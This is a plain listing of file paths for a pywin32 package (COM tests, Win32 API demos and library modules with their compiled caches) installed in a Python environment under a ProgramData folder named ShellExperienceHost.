C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTXSLT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTXSLT.XSL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\UTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\UNIVERSAL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\UTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\BACKUPREAD_BACKUPWRITE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\BACKUPSEEK_STREAMHEADERS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\CERAPI.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\COPYFILEEX.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\CREATEFILETRANSACTED_MINIVERSION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\C_EXTENSION\SETUP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\C_EXTENSION\__PYCACHE__\SETUP.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\DDE\DDECLIENT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\DDE\DDESERVER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\DDE\__PYCACHE__\DDECLIENT.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\DDE\__PYCACHE__\DDESERVER.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\DESKTOPMANAGER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\EVENTLOGDEMO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\EVTFORMATMESSAGE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\EVTSUBSCRIBE_PULL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\EVTSUBSCRIBE_PUSH.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\FILESECURITYTEST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\GETFILEVER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\GETSAVEFILENAME.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\IMAGES\FROWNY.BMP
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\IMAGES\SMILEY.BMP
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\MMAPFILE_DEMO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\NETVALIDATEPASSWORDPOLICY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\OPENENCRYPTEDFILERAW.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\PIPES\CAT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\PIPES\RUNPROC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\PIPES\__PYCACHE__\CAT.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\PIPES\__PYCACHE__\RUNPROC.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\PRINT_DESKTOP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\RASTEST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\REGCREATEKEYTRANSACTED.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\REGRESTOREKEY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\ACCOUNT_RIGHTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\EXPLICIT_ENTRIES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\GETTOKENINFORMATION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\GET_POLICY_INFO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\LIST_RIGHTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\LOCALIZED_NAMES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\LSAREGEVENT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\LSASTORE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\QUERY_INFORMATION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\REGSAVE_SA.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\REGSECURITY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SA_INHERIT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SECURITY_ENUMS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SETKERNELOBJECTSECURITY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SETNAMEDSECURITYINFO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SETSECURITYINFO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SETUSEROBJECTSECURITY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SET_FILE_AUDIT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SET_FILE_OWNER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SET_POLICY_INFO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\FETCH_URL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\SIMPLE_AUTH.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\SOCKET_SERVER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\VALIDATE_PASSWORD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\__PYCACHE__\FETCH_URL.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\__PYCACHE__\SIMPLE_AUTH.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\__PYCACHE__\SOCKET_SERVER.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\__PYCACHE__\VALIDATE_PASSWORD.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\ACCOUNT_RIGHTS.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\EXPLICIT_ENTRIES.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\GETTOKENINFORMATION.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\GET_POLICY_INFO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\LIST_RIGHTS.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\LOCALIZED_NAMES.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\LSAREGEVENT.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\LSASTORE.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\QUERY_INFORMATION.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\REGSAVE_SA.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\REGSECURITY.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SA_INHERIT.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SECURITY_ENUMS.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SETKERNELOBJECTSECURITY.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SETNAMEDSECURITYINFO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SETSECURITYINFO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SETUSEROBJECTSECURITY.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SET_FILE_AUDIT.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SET_FILE_OWNER.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SET_POLICY_INFO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\NATIVEPIPETESTSERVICE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\PIPETESTSERVICE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\PIPETESTSERVICECLIENT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\SERVICEEVENTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\__PYCACHE__\NATIVEPIPETESTSERVICE.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\__PYCACHE__\PIPETESTSERVICE.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\__PYCACHE__\PIPETESTSERVICECLIENT.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\__PYCACHE__\SERVICEEVENTS.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SYSTEMPARAMETERSINFO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\TIMER_DEMO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32CLIPBOARDDEMO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32CLIPBOARD_BITMAPDEMO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32COMPORT_DEMO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32CONSOLE_DEMO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32CRED_DEMO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32FILEDEMO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32GUI_DEMO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32GUI_DEVICENOTIFY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32GUI_DIALOG.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32GUI_MENU.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32GUI_TASKBAR.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32NETDEMO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32RCPARSER_DEMO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32SERVICEDEMO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32TS_LOGOFF_DISCONNECTED.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32WNET\TESTWNET.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32WNET\WINNETWK.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32WNET\__PYCACHE__\TESTWNET.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32WNET\__PYCACHE__\WINNETWK.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WINPROCESS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\BACKUPREAD_BACKUPWRITE.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\BACKUPSEEK_STREAMHEADERS.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\CERAPI.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\COPYFILEEX.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\CREATEFILETRANSACTED_MINIVERSION.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\DESKTOPMANAGER.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\EVENTLOGDEMO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\EVTFORMATMESSAGE.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\EVTSUBSCRIBE_PULL.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\EVTSUBSCRIBE_PUSH.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\FILESECURITYTEST.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\GETFILEVER.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\GETSAVEFILENAME.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\MMAPFILE_DEMO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\NETVALIDATEPASSWORDPOLICY.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\OPENENCRYPTEDFILERAW.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\PRINT_DESKTOP.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\RASTEST.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\REGCREATEKEYTRANSACTED.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\REGRESTOREKEY.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\SYSTEMPARAMETERSINFO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\TIMER_DEMO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32CLIPBOARDDEMO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32CLIPBOARD_BITMAPDEMO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32COMPORT_DEMO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32CONSOLE_DEMO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32CRED_DEMO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32FILEDEMO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32GUI_DEMO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32GUI_DEVICENOTIFY.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32GUI_DIALOG.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32GUI_MENU.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32GUI_TASKBAR.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32NETDEMO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32RCPARSER_DEMO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32SERVICEDEMO.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32TS_LOGOFF_DISCONNECTED.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WINPROCESS.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\INCLUDE\PYWINTYPES.H
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIBS\PYWINTYPES.LIB
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\AFXRES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\COMMCTRL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\DBI.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\MMSYSTEM.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\NETBIOS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\NTSECURITYCON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\PYWIN32_BOOTSTRAP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\PYWIN32_TESTUTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\PYWINTYPES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\RASUTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\REGCHECK.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\REGUTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\SSPI.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\SSPICON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32CON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32CRYPTCON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32EVTLOGUTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32GUI_STRUCT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32INETCON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32NETCON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32PDHQUERY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32PDHUTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32RCPARSER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32SERVICEUTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32TIMEZONE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32TRACEUTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32VERSTAMP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WINERROR.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WINIOCTLCON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WINNT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WINPERF.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WINXPTHEME.PY
